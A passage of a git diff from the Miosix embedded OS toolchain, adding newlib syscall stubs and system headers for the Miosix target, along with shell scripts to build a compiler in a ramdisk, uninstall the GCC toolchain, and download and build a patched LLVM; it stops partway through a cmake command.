1996, 1997, 1998, 1999, 2000, 2001, 2002, ++# 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software ++# Foundation, Inc. ++# This Makefile.in is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# This program is distributed in the hope that it will be useful, ++# but WITHOUT ANY WARRANTY, to the extent permitted by law; without ++# even the implied warranty of MERCHANTABILITY or FITNESS FOR A ++# PARTICULAR PURPOSE. ++ ++@SET_MAKE@ ++ ++VPATH = @srcdir@ ++am__make_dryrun = \ ++ { \ ++ am__dry=no; \ ++ case $$MAKEFLAGS in \ ++ *\\[\ \ ]*) \ ++ echo 'am--echo: ; @echo "AM" OK' | $(MAKE) -f - 2>/dev/null \ ++ | grep '^AM OK$$' >/dev/null || am__dry=yes;; \ ++ *) \ ++ for am__flg in $$MAKEFLAGS; do \ ++ case $$am__flg in \ ++ *=*|--*) ;; \ ++ *n*) am__dry=yes; break;; \ ++ esac; \ ++ done;; \ ++ esac; \ ++ test $$am__dry = yes; \ ++ } ++pkgdatadir = $(datadir)/@PACKAGE@ ++pkgincludedir = $(includedir)/@PACKAGE@ ++pkglibdir = $(libdir)/@PACKAGE@ ++pkglibexecdir = $(libexecdir)/@PACKAGE@ ++am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd ++install_sh_DATA = $(install_sh) -c -m 644 ++install_sh_PROGRAM = $(install_sh) -c ++install_sh_SCRIPT = $(install_sh) -c ++INSTALL_HEADER = $(INSTALL_DATA) ++transform = $(program_transform_name) ++NORMAL_INSTALL = : ++PRE_INSTALL = : ++POST_INSTALL = : ++NORMAL_UNINSTALL = : ++PRE_UNINSTALL = : ++POST_UNINSTALL = : ++build_triplet = @build@ ++host_triplet = @host@ ++subdir = . ++DIST_COMMON = $(srcdir)/Makefile.in $(srcdir)/Makefile.am \ ++ $(top_srcdir)/configure $(am__configure_deps) \ ++ $(srcdir)/../../../../mkinstalldirs ++ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 ++am__aclocal_m4_deps = $(top_srcdir)/../../../acinclude.m4 \ ++ $(top_srcdir)/configure.in ++am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ ++ $(ACLOCAL_M4) ++am__CONFIG_DISTCLEAN_FILES = config.status config.cache config.log \ ++ configure.lineno config.status.lineno ++mkinstalldirs = $(SHELL) $(top_srcdir)/../../../../mkinstalldirs ++CONFIG_CLEAN_FILES = ++CONFIG_CLEAN_VPATH_FILES = ++LIBRARIES = $(noinst_LIBRARIES) ++ARFLAGS = cru ++lib_a_AR = $(AR) $(ARFLAGS) ++lib_a_LIBADD = ++am_lib_a_OBJECTS = lib_a-termios.$(OBJEXT) lib_a-stubs.$(OBJEXT) ++lib_a_OBJECTS = $(am_lib_a_OBJECTS) ++DEFAULT_INCLUDES = -I.@am__isrc@ ++depcomp = ++am__depfiles_maybe = ++COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \ ++ $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) ++CCLD = $(CC) ++LINK = $(CCLD) $(AM_CFLAGS) $(CFLAGS) $(AM_LDFLAGS) $(LDFLAGS) -o $@ ++SOURCES = $(lib_a_SOURCES) ++am__can_run_installinfo = \ ++ case $$AM_UPDATE_INFO_DIR in \ ++ n|no|NO) false;; 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then \ ++ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ ++ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ ++ install; \ ++ else \ ++ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ ++ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ ++ "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ ++ fi ++mostlyclean-generic: ++ ++clean-generic: ++ ++distclean-generic: ++ -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) ++ -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) ++ ++maintainer-clean-generic: ++ @echo "This command is intended for maintainers to use" ++ @echo "it deletes files that may require special tools to rebuild." ++clean: clean-am ++ ++clean-am: clean-generic clean-noinstLIBRARIES mostlyclean-am ++ ++distclean: distclean-am ++ -rm -f $(am__CONFIG_DISTCLEAN_FILES) ++ -rm -f Makefile ++distclean-am: clean-am distclean-compile distclean-generic \ ++ distclean-tags ++ ++dvi: dvi-am ++ ++dvi-am: ++ ++html: html-am ++ ++html-am: ++ ++info: info-am ++ ++info-am: ++ ++install-data-am: ++ ++install-dvi: install-dvi-am ++ ++install-dvi-am: ++ ++install-exec-am: ++ ++install-html: install-html-am ++ ++install-html-am: ++ ++install-info: install-info-am ++ ++install-info-am: ++ ++install-man: ++ ++install-pdf: install-pdf-am ++ ++install-pdf-am: ++ ++install-ps: install-ps-am ++ ++install-ps-am: ++ ++installcheck-am: ++ ++maintainer-clean: maintainer-clean-am ++ -rm -f $(am__CONFIG_DISTCLEAN_FILES) ++ -rm -rf $(top_srcdir)/autom4te.cache ++ -rm -f Makefile ++maintainer-clean-am: distclean-am maintainer-clean-generic ++ ++mostlyclean: mostlyclean-am ++ ++mostlyclean-am: mostlyclean-compile mostlyclean-generic ++ ++pdf: pdf-am ++ ++pdf-am: ++ ++ps: ps-am ++ ++ps-am: ++ ++uninstall-am: ++ ++.MAKE: install-am install-strip ++ ++.PHONY: CTAGS GTAGS all all-am all-local am--refresh check check-am \ ++ clean clean-generic clean-noinstLIBRARIES ctags distclean \ ++ distclean-compile distclean-generic distclean-tags dvi dvi-am \ ++ html html-am info info-am install install-am install-data \ ++ install-data-am install-dvi install-dvi-am install-exec \ ++ install-exec-am install-html install-html-am install-info \ ++ install-info-am install-man install-pdf install-pdf-am \ ++ install-ps install-ps-am install-strip installcheck \ ++ installcheck-am installdirs maintainer-clean \ ++ maintainer-clean-generic mostlyclean mostlyclean-compile \ ++ mostlyclean-generic pdf pdf-am ps ps-am tags uninstall \ ++ uninstall-am ++ ++ ++all-local: crt0.o ++ ++# Tell versions [3.59,3.63) of GNU make to not export all variables. ++# Otherwise a system limit (for SysV at least) may be exceeded. ++.NOEXPORT: +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/stubs.c newlib-3.1.0/newlib/libc/sys/miosix/stubs.c +--- newlib-3.1.0-old/newlib/libc/sys/miosix/stubs.c 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/stubs.c 2025-01-24 16:17:01.356757897 +0100 +@@ -0,0 +1,98 @@ ++/* ++ * RATIONALE: these stubs exists so that an attempt to use arm-miosix-eabi-gcc ++ * to compile simple programs such as the ones used by autotools to check ++ * whether the compiler works doesn't fail. The need for this behaviour was ++ * discovered when compiling libatomic as part of GCC. ++ * None of these stubs are meant to be useful for making a program that can ++ * be executed, for now. If miosix processes are developed further, this file ++ * can be a starting point to make stdlibs more standalone. ++ */ ++ ++#include ++#include ++#include ++#include ++#include ++#include ++ ++#ifdef __getreent ++#undef __getreent ++#endif ++ ++#define AW __attribute__((weak)) ++ ++int AW __register_exitproc(int a, void (*b)(), void *c, void *d) { return 0; } ++void AW __call_exitprocs(int a, void *b) {} ++void AW _exit(int a) { for(;;) ; } ++void * AW _sbrk_r(struct _reent *a, ptrdiff_t b) { return (void*)-1; } ++void AW __malloc_lock() {} ++void AW __malloc_unlock() {} ++struct _reent * AW __getreent() { return _impure_ptr; } ++int AW _open_r( struct _reent *a, const char *b, int c, int d) { return -1; } ++int AW open(const char *a, int b, ...) { return -1; } ++int AW _close_r(struct _reent *a, int b) { return -1; } ++int AW close(int a) { return -1; } ++int AW _write_r(struct _reent *a, int b, const void *c, size_t d) { return -1; } ++int AW write(int a, const void *b, size_t c) { return -1; } ++int AW _read_r( struct _reent *a, int b, void *c, size_t d) { return -1; } ++int AW read(int a, void *b, size_t c) { return -1; } ++off_t AW _lseek_r(struct _reent *a, int b, off_t c, int d) { return -1; } ++off_t AW lseek(int a, off_t b, int c) { return -1; } ++int AW _fstat_r(struct _reent *a, int b, struct stat *c) { return -1; } ++int AW fstat(int a, struct stat *b) { return -1; } ++int AW _stat_r( struct _reent *a, const char *b, struct stat *c) { return -1; } ++int AW stat(const char *a, struct stat *b) { return -1; } ++int AW _isatty_r(struct _reent *a, int b) { return 0; } ++int AW isatty(int a) { return 0; } ++int AW _fcntl_r(struct _reent *a, int b, int c, int d) { return -1; } ++int AW fcntl(int a, int b, ...) { return -1; } ++int AW _ioctl_r(struct _reent *a, int b, int c, void *d) { return -1; } ++int AW ioctl(int a, int b, void *c) { return -1; } ++char * AW _getcwd_r(struct _reent *a, char *b, size_t c) { return 0; } ++char * AW getcwd(char *a, size_t b) { return 0; } ++int AW _chdir_r(struct _reent *a, const char *b) { return -1; } ++int AW chdir(const char *a) { return -1; } ++int AW _mkdir_r(struct _reent *a, const char *b, int c) { return -1; } ++int AW mkdir(const char *a, mode_t b) { return -1; } ++int AW _rmdir_r(struct _reent *a, const char *b) { return -1; } ++int AW rmdir(const char *a) { return -1; } ++int AW _link_r( struct _reent *a, const char *b, const char *c) { return -1; } ++int AW link(const char *a, const char *b) { return -1; } ++int AW _unlink_r(struct _reent *a, const char *b) { return -1; } ++int AW unlink(const char *a) { return -1; } ++int AW _rename_r(struct _reent *a, const char *b, const char *c) { return -1; } ++int AW rename(const char *a, const char *b) { return -1; } ++int AW getdents(unsigned int a, struct dirent *b, unsigned int c) { return -1; } ++int AW pthread_create(pthread_t *a, const pthread_attr_t *b, void *(*c)(void *), void *d) { return -1; } ++int AW pthread_join(pthread_t a, void **b) { return -1; } ++int AW pthread_detach(pthread_t a) { return -1; } ++pthread_t AW pthread_self() { return -1; } ++int AW pthread_mutex_init(pthread_mutex_t *a, const pthread_mutexattr_t *b) { return -1; } ++int AW pthread_mutex_lock(pthread_mutex_t *a) { return 0; } ++int AW pthread_mutex_unlock(pthread_mutex_t *a) { return 0; } ++int AW pthread_mutex_destroy(pthread_mutex_t *a) { return 0; } ++int AW pthread_cond_init(pthread_cond_t *a, const pthread_condattr_t *b) { return -1; } ++int AW pthread_cond_wait(pthread_cond_t *a, pthread_mutex_t *b) { return -1; } ++int AW pthread_cond_timedwait(pthread_cond_t *a, pthread_mutex_t *b, const struct timespec *c) { return -1; } ++int AW pthread_cond_signal(pthread_cond_t *a) { return -1; } ++int AW pthread_cond_broadcast(pthread_cond_t *a) { return -1; } ++int AW pthread_cond_destroy(pthread_cond_t *a) { return -1; } ++int AW pthread_once(pthread_once_t *a, void (*b)()) { return -1; } ++int AW pthread_setcancelstate(int a, int *b) { return 0; } ++int AW clock_gettime(clockid_t a, struct timespec *b) { return -1; } ++int AW clock_settime(clockid_t a, const struct timespec *b) { return -1; } ++int AW clock_getres(clockid_t a, struct timespec *b) { return -1; } ++int AW clock_nanosleep(clockid_t a, int b, ++ const struct timespec *c, struct timespec *d) { return -1; } ++clock_t AW _times_r(struct _reent *a, struct tms *b) { return -1; } ++clock_t AW times(struct tms *a) { return -1; } ++int AW _gettimeofday_r(struct _reent *a, struct timeval *b, void *c) { return -1; } ++int AW gettimeofday(struct timeval *a, void *b) { return -1; } ++int AW nanosleep(const struct timespec *a, struct timespec *b) { return -1; } ++int AW _kill_r(struct _reent* a, int b, int c) { return -1; } ++int AW kill(int a, int b) { return -1; } ++int AW _getpid_r(struct _reent* a) { return 0; } ++int AW getpid() { return 0; } ++int AW _wait_r(struct _reent *a, int *b) { return -1; } ++int AW wait(int *a) { return -1; } ++ +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/sys/dirent.h newlib-3.1.0/newlib/libc/sys/miosix/sys/dirent.h +--- newlib-3.1.0-old/newlib/libc/sys/miosix/sys/dirent.h 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/sys/dirent.h 2024-07-26 22:02:58.653582053 +0200 +@@ -0,0 +1,62 @@ ++#ifndef _SYS_DIRENT_H ++#define _SYS_DIRENT_H ++ ++#include ++#include ++ ++#ifdef __cplusplus ++extern "C" { ++#endif ++ ++/* ++ * This file was written to be compatible with the BSD directory ++ * routines, so it looks like it. But it was written from scratch. ++ * Sean Eric Fagan, sef@Kithrup.COM. ++ * Additionally modified for Miosix by Terraneo Federico, fede.tft@miosix.org ++ */ ++ ++#define MAXNAMLEN NAME_MAX ++ ++typedef struct __DIR ++{ ++ int dd_fd; ++ long dd_loc; ++ long dd_size; ++ char *dd_buf; ++ int dd_len; ++ long dd_seek; ++ void (*dd_onclose)(struct __DIR *); ++} DIR; ++ ++struct dirent ++{ ++ unsigned long d_ino; ++ off_t d_off; ++ unsigned short d_reclen; ++ char d_type; ++ char d_name[NAME_MAX + 1]; ++}; ++ ++enum ++{ ++ DT_UNKNOWN = 0, ++ /* Equivalent to S_XXXX in sys/stat.h, but shifted to fit in a char */ ++ DT_FIFO = 0010000>>12, ++ DT_CHR = 0020000>>12, ++ DT_DIR = 0040000>>12, ++ DT_BLK = 0060000>>12, ++ DT_REG = 0100000>>12, ++ DT_LNK = 0120000>>12, ++ DT_SOCK = 0140000>>12, ++}; ++ ++#define IFTODT(mode) (((mode) & 0170000)>>12) ++#define DTTOIF(type) ((type)<<12) ++ ++#define __dirfd(dp) ((dp)->dd_fd) ++ ++#ifdef __cplusplus ++} ++#endif ++ ++#endif +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/sys/ioctl.h newlib-3.1.0/newlib/libc/sys/miosix/sys/ioctl.h +--- newlib-3.1.0-old/newlib/libc/sys/miosix/sys/ioctl.h 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/sys/ioctl.h 2024-07-26 22:02:58.653582053 +0200 +@@ -0,0 +1,26 @@ ++ ++#ifndef _SYS_IOCTL_H ++#define _SYS_IOCTL_H ++ ++#ifdef __cplusplus ++extern "C" { ++#endif ++ ++/* keep in sync with miosix/filesystem/ioctl.h */ ++enum Ioctl ++{ ++ IOCTL_SYNC=100, ++ IOCTL_TCGETATTR=101, ++ IOCTL_TCSETATTR_NOW=102, ++ IOCTL_TCSETATTR_FLUSH=103, ++ IOCTL_TCSETATTR_DRAIN=104, ++ IOCTL_FLUSH=105 ++}; ++ ++int ioctl(int fd, int cmd, void *arg); ++ ++#ifdef __cplusplus ++} ++#endif ++ ++#endif /*_SYS_IOCTL_H*/ +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/sys/lock.h newlib-3.1.0/newlib/libc/sys/miosix/sys/lock.h +--- newlib-3.1.0-old/newlib/libc/sys/miosix/sys/lock.h 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/sys/lock.h 2025-04-15 13:45:13.345969956 +0200 +@@ -0,0 +1,62 @@ ++#ifndef __SYS_LOCK_H__ ++#define __SYS_LOCK_H__ ++ ++#include <_ansi.h> ++ ++/* ++ * The Miosix filesystem code assumes off_t is a signed 64 bit type. ++ * Technically this definition should be in sys/types.h, but we don't ++ * provide a Miosix-specific version of sys/types.h yet. ++ */ ++typedef signed long long _off_t; ++#define __machine_off_t_defined 1 ++ ++/* ++ * The type of pthread_mutex_t, has been moved here from sys/types.h, because ++ * sys/types.h #includes sys/_types.h which in turn #includes sys/lock.h, ++ * and sys/lock.h actually needs to know the type of pthread_mutex_t. ++ * Unfortunately simply adding an #include sys/types.h into sys/lock.h didn't ++ * work because it caused a cyclic dependency between headers ++ */ ++ ++typedef struct ++{ ++ void *owner; /* Actually, pointer to C++ class Thread */ ++ int recursiveDepth; /* -1 = special value for non recursive */ ++ void *field1; /* Opaque fields */ ++ void *field2; /* Opaque fields */ ++ void *field3; /* Opaque fields */ ++ void *field4; /* Opaque fields */ ++ int type; /* Depending on how kernel is compiled, mutex type */ ++} pthread_mutex_t; ++ ++/* ++ * Finished declaring pthread stuff, now starting real content of lock.h ++ */ ++ ++typedef pthread_mutex_t _LOCK_T; ++typedef pthread_mutex_t _LOCK_RECURSIVE_T; ++ ++#define __LOCK_INIT(clazz,lock) clazz pthread_mutex_t lock = {0,-1,0,0,0,0,0} ++#define __LOCK_INIT_RECURSIVE(clazz,lock) clazz pthread_mutex_t lock = {0,0,0,0,0,0,0} ++#define __lock_init(lock) pthread_mutex_init(&lock,NULL) ++#define __lock_init_recursive(lock) \ ++do { \ ++ (lock).owner=0; \ ++ (lock).recursiveDepth=0; \ ++ (lock).field1=0; \ ++ (lock).field2=0; \ ++ (lock).field3=0; \ ++ (lock).field4=0; \ ++ (lock).type=0; \ ++} while(0) ++#define __lock_close(lock) pthread_mutex_destroy(&lock) ++#define __lock_close_recursive(lock) pthread_mutex_destroy(&lock) ++#define __lock_acquire(lock) pthread_mutex_lock(&lock) ++#define __lock_acquire_recursive(lock) pthread_mutex_lock(&lock) ++#define __lock_try_acquire(lock) pthread_mutex_trylock(&lock) ++#define __lock_try_acquire_recursive(lock) pthread_mutex_trylock(&lock) ++#define __lock_release(lock) pthread_mutex_unlock(&lock) ++#define __lock_release_recursive(lock) pthread_mutex_unlock(&lock) ++ ++#endif /* __SYS_LOCK_H__ */ +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/sys/syslimits.h newlib-3.1.0/newlib/libc/sys/miosix/sys/syslimits.h +--- newlib-3.1.0-old/newlib/libc/sys/miosix/sys/syslimits.h 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/sys/syslimits.h 2024-07-26 22:02:58.653582053 +0200 +@@ -0,0 +1,20 @@ ++ ++#ifndef _SYS_SYSLIMITS_H ++#define _SYS_SYSLIMITS_H ++ ++/* ++ * Max length of command line arguments (including environment), ++ * POSIX requires at least 4096, but for now 1024 will do. ++ */ ++#define ARG_MAX 1024 ++ ++/* ++ * Max nonblocking pipe read, ++ * POSIX requires at least 512, but for now 128 will do. ++ */ ++#define PIPE_BUF 128 ++ ++#define NAME_MAX 255 /* Max filename, not including NUL, used for dirent */ ++#define PATH_MAX 512 /* Max filesystem path, including NUL */ ++ ++#endif /* _SYS_SYSLIMITS_H */ +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/sys/termios.h newlib-3.1.0/newlib/libc/sys/miosix/sys/termios.h +--- newlib-3.1.0-old/newlib/libc/sys/miosix/sys/termios.h 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/sys/termios.h 2024-07-26 22:02:58.653582053 +0200 +@@ -0,0 +1,113 @@ ++/* Adapted from sys/sysvi386/sys */ ++ ++#ifndef _SYS_TERMIOS_H ++#define _SYS_TERMIOS_H ++ ++/* c_iflag */ ++#define IGNBRK 000001 ++#define BRKINT 000002 ++#define IGNPAR 000004 ++#define INPCK 000020 ++#define ISTRIP 000040 ++#define INLCR 000100 ++#define IGNCR 000200 ++#define ICRNL 000400 ++#define IXON 002000 ++#define IXOFF 010000 ++#define IUTF8 040000 ++ ++/* c_oflag */ ++#define OPOST 000001 ++#define OCRNL 000004 ++#define ONLCR 000010 ++#define ONOCR 000020 ++#define ONLRET 000040 ++ ++/* c_cflag */ ++#define B0 0 ++#define B50 50 ++#define B75 75 ++#define B110 110 ++#define B134 134 ++#define B150 150 ++#define B200 200 ++#define B300 300 ++#define B600 600 ++#define B1200 1200 ++#define B1800 1800 ++#define B2400 2400 ++#define B4800 4800 ++#define B9600 9600 ++#define B19200 19200 ++#define B38400 38400 ++#define B57600 57600 ++#define B115200 115200 ++#define B230400 230400 ++ ++#define CSIZE (0x03<<24) ++#define CS5 (0x00<<24) ++#define CS6 (0x01<<24) ++#define CS7 (0x02<<24) ++#define CS8 (0x03<<24) ++#define CSTOPB (0x04<<24) ++#define PARENB (0x08<<24) ++#define PAODD (0x10<<24) ++#define CRTSCTS (0x20<<24) ++#define CREAD (0x40<<24) ++ ++/* c_lflag */ ++#define ISIG 0000001 ++#define ICANON 0000002 ++#define ECHO 0000010 ++#define ECHOE 0000020 ++#define ECHOK 0000040 ++#define ECHONL 0000100 ++#define NOFLSH 0000200 ++#define TOSTOP 0001000 ++ ++/* c_cc indices */ ++#define VEOF 4 /* also VMIN -- thanks, AT&T */ ++#define VEOL 5 /* also VTIME -- thanks again */ ++#define VERASE 2 ++#define VINTR 0 ++#define VKILL 3 ++#define VMIN 4 /* also VEOF */ ++#define VQUIT 1 ++#define VSUSP 10 ++#define VTIME 5 /* also VEOL */ ++#define VSTART 11 ++#define VSTOP 12 ++ ++/* tcsetattr opt */ ++#define TCSAFLUSH 0 ++#define TCSANOW 1 ++#define TCSADRAIN 2 ++ ++/* tcflush opt */ ++#define TCIFLUSH 0 ++#define TCOFLUSH 1 ++#define TCIOFLUSH 2 ++ ++#define NCCS 13 ++ ++typedef unsigned char cc_t; ++typedef unsigned int tcflag_t; ++typedef unsigned int speed_t; ++ ++struct termios ++{ ++ tcflag_t c_iflag; ++ tcflag_t c_oflag; ++ tcflag_t c_cflag; ++ tcflag_t c_lflag; ++ cc_t c_cc[NCCS]; ++}; ++ ++int tcgetattr(int fd, struct termios *t); ++int tcsetattr(int fd, int opt, const struct termios *t); ++speed_t cfgetospeed(const struct termios *t); ++int cfsetospeed(struct termios *t, speed_t speed); ++int tcdrain(int fd); ++int tcflush(int fd, int opt); ++ ++#endif /*_SYS_TERMIOS_H*/ +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/termios.c newlib-3.1.0/newlib/libc/sys/miosix/termios.c +--- newlib-3.1.0-old/newlib/libc/sys/miosix/termios.c 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/termios.c 2024-07-26 22:02:58.653582053 +0200 +@@ -0,0 +1,46 @@ ++ ++#include ++#include ++#include ++ ++int tcgetattr(int fd, struct termios *t) ++{ ++ return ioctl(fd,IOCTL_TCGETATTR,(void*)t); ++} ++ ++int tcsetattr(int fd, int opt, const struct termios *t) ++{ ++ switch(opt) ++ { ++ case TCSAFLUSH: ++ return ioctl(fd,IOCTL_TCSETATTR_FLUSH,(void*)t); ++ case TCSANOW: ++ return ioctl(fd,IOCTL_TCSETATTR_NOW,(void*)t); ++ case TCSADRAIN: ++ return ioctl(fd,IOCTL_TCSETATTR_DRAIN,(void*)t); ++ default: ++ errno = EINVAL; ++ return -1; ++ } ++} ++ ++speed_t cfgetospeed(const struct termios *t) ++{ ++ return t->c_cflag & 0x00ffffff; ++} ++ ++int cfsetospeed(struct termios *t, speed_t speed) ++{ ++ t->c_cflag = (t->c_cflag & (~0x00ffffff)) | speed; ++ return 0; ++} ++ ++int tcdrain(int fd) ++{ ++ return ioctl(fd,IOCTL_SYNC,0); ++} ++ ++int tcflush(int fd, int opt) ++{ ++ return ioctl(fd,IOCTL_FLUSH,(void*)opt); ++} diff --git a/tools/compiler/gcc-9.2.0-mp3.4/ramdisk.sh b/tools/compiler/gcc-9.2.0-mp3.4/ramdisk.sh new file mode 100755 index 000000000..e997e6fe0 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/ramdisk.sh @@ -0,0 +1,32 @@ +#!/usr/bin/env bash + +# Useful script to speed up compilation and/or save write cycles on an SSD by +# compiling in a ramdisk. Only viable if you have at least 16GByte of RAM. + +case $(uname -s) in + Linux) + mkdir -p ramdisk + sudo umount ramdisk 2> /dev/null # If not already mounted it's not an error + sudo mount -t tmpfs -o size=9G,uid=`id -u`,gid=`id -g`,mode=700 tmpfs ramdisk + sudo -k + ;; + Darwin) + ramdisk_size=$(( 9 * 1024 * 1024 )) + ramdisk_name="miosix_ramdisk_$RANDOM" + diskutil erasevolume HFS+ "$ramdisk_name" $(hdiutil attach -nobrowse -nomount ram://$(( ramdisk_size ))) > /dev/stderr + ln -s "/Volumes/$ramdisk_name/" ./ramdisk + ;; + *) + echo "error: I don't know how to make a ramdisk on platform " $(uname -s) > /dev/stderr + exit 1 + ;; +esac + +ln -s `pwd`/downloaded ramdisk/downloaded +cp -R installers ramdisk +cp -R mx-postlinker ramdisk +cp -R patches ramdisk +cp cleanup.sh ramdisk +cp install-script.sh ramdisk +cp uninstall.sh ramdisk +cp lpc21isp_148_src.zip ramdisk diff --git a/tools/compiler/gcc-9.2.0-mp3.4/uninstall.sh b/tools/compiler/gcc-9.2.0-mp3.4/uninstall.sh new file mode 100755 index 000000000..62a98a0b6 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/uninstall.sh @@ -0,0 +1,40 @@ +#!/usr/bin/env bash + +# Uninstall script: removes the arm-miosix-eabi-gcc compiler + +PREFIX="arm-miosix-eabi-" +# Do not remove any item from this list, some users may have installed a very old Miosix compiler +FILES="addr2line ar as c++ c++filt cpp elfedit g++ gcc gcc-ar gcc-nm gcc-ranlib gccbug gcov gcov-dump gcov-tool gdb gdbtui gdb-add-index gprof ld ld.bfd nm objcopy objdump ranlib readelf run size strings strip" + +# Remove symlinks to the compiler +for i in $FILES; do + # install-script.sh installs links in /usr/bin + # Using -h because the file must be a symlink + if [ -h "/usr/bin/$PREFIX$i" ]; then + sudo rm "/usr/bin/$PREFIX$i" + fi + # Very old install-script.sh used to install links in /usr/local/bin, + # so remove also those links for backward compatibility + if [ -h "/usr/local/bin/$PREFIX$i" ]; then + sudo rm "/usr/local/bin/$PREFIX$i" + fi +done + +# Remove lpc21isp +if [ -h "/usr/bin/lpc21isp" ]; then + sudo rm "/usr/bin/lpc21isp" +fi +if [ -h "/usr/local/bin/lpc21isp" ]; then + sudo rm "/usr/local/bin/lpc21isp" +fi + +# Remove mx-postlinker +if [ -h "/usr/bin/mx-postlinker" ]; then + sudo rm "/usr/bin/mx-postlinker" +fi +if [ -h "/usr/local/bin/mx-postlinker" ]; then + sudo rm "/usr/local/bin/mx-postlinker" +fi + +# Remove the compiler +sudo rm -rf /opt/arm-miosix-eabi diff --git a/tools/compiler/llvm-18/.gitignore b/tools/compiler/llvm-18/.gitignore new file mode 100644 index 000000000..5835a61df --- /dev/null +++ b/tools/compiler/llvm-18/.gitignore @@ -0,0 +1,2 @@ +llvm-project +miosix-llvm diff --git a/tools/compiler/llvm-18/download.sh b/tools/compiler/llvm-18/download.sh new file mode 100755 index 000000000..16c16403e --- /dev/null +++ b/tools/compiler/llvm-18/download.sh @@ -0,0 +1,16 @@ +#!/bin/sh + +# This simple script will download all the required source files +# for compiling llvm + +REPO_URL="https://github.com/llvm/llvm-project.git" +COMMIT_SHA="3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff" +CLONE_DIR="llvm-project" + +git init "$CLONE_DIR" +cd "$CLONE_DIR" || exit 1 +git remote add origin "$REPO_URL" +git fetch --depth 1 origin "$COMMIT_SHA" +git -c advice.detachedHead=false checkout "$COMMIT_SHA" +rm -rf .git +cd .. diff --git a/tools/compiler/llvm-18/install-script.sh b/tools/compiler/llvm-18/install-script.sh new file mode 100755 index 000000000..88ba25fa6 --- /dev/null +++ b/tools/compiler/llvm-18/install-script.sh @@ -0,0 +1,146 @@ +#!/usr/bin/env bash + +# Script to build the llvm compiler required for Miosix. +# Usage: ./install-script +# +# Building Miosix is officially supported only through the llvm compiler built +# with this script. This is because this script patches the compiler. +# The kernel *won't* compile unless the correct compiler is used. +# +# This script will install miosix-llvm in /opt, creating links to +# binaries in /usr/bin. +# It should be run without root privileges, but it will ask for the root +# password when installing files to /opt and /usr/bin + +#### Configuration tunables -- begin #### + +# Uncomment if installing globally on this system +PREFIX=/opt/miosix-llvm +SUDO=sudo +# Uncomment if installing locally on this system, sudo isn't necessary +#PREFIX=`pwd`/miosix-llvm +#SUDO= + +# Choose llvm build type +BUILD_TYPE=Release +#BUILD_TYPE=Debug + +# Choose whether to use ccache to cache the llvm build +# This speeds up multiple llvm builds. Useful in case of errors or frequent rebuilds +USE_CCACHE=1 + +#### Configuration tunables -- end #### + +quit() { + echo $1 + exit 1 +} + +# Check for ccache if enabled +CCACHE_OPT="" +if [[ "$USE_CCACHE" -eq 1 ]]; then + if ! command -v ccache >/dev/null 2>&1; then + quit "USE_CCACHE=1 but 'ccache' is not installed. Install it (e.g. apt install ccache) or set USE_CCACHE=0" + fi + CCACHE_OPT="-DLLVM_CCACHE_BUILD=ON" +fi + +# Ask for sudo if needed +if [[ ! -z "$SUDO" ]]; then + echo "System-wide install selected: sudo rights are needed to continue" + $SUDO -v || quit "Cannot continue without sudo rights" +fi + +# +# Part 1, apply patches +# + +PATCHES_DIR=`pwd`/patches +apply_patch() { + local patch_file="$1" + local patch_path="${PATCHES_DIR}/${patch_file}" + + if patch --dry-run -p1 < "$patch_path" > /dev/null 2>&1; then + patch -p1 < "$patch_path" || quit "Failed to apply patch ${patch_file}" + else + echo "Patch ${patch_file} has already been applied: skipping" + fi +} + +echo "Applying patches" +cd llvm-project +apply_patch "Add-GCC-s-spare-dynamic-tags.patch" +apply_patch "Implemented-single-pic-base.patch" +apply_patch "libomp.patch" +apply_patch "libomp-memory-usage.patch" +echo "Successfully applied patches" + +# +# Part 2: compile llvm +# + +echo "Building llvm" +cd llvm +cmake -Bbuild -GNinja \ + -DCMAKE_BUILD_TYPE="${BUILD_TYPE}" \ + -DCMAKE_INSTALL_PREFIX="${PREFIX}" \ + -DLLVM_ENABLE_PROJECTS="clang;lld" \ + -DLLVM_BUILD_LLVM_DYLIB=ON \ + -DLLVM_LINK_LLVM_DYLIB=ON \ + -DLLVM_OPTIMIZED_TABLEGEN=ON \ + 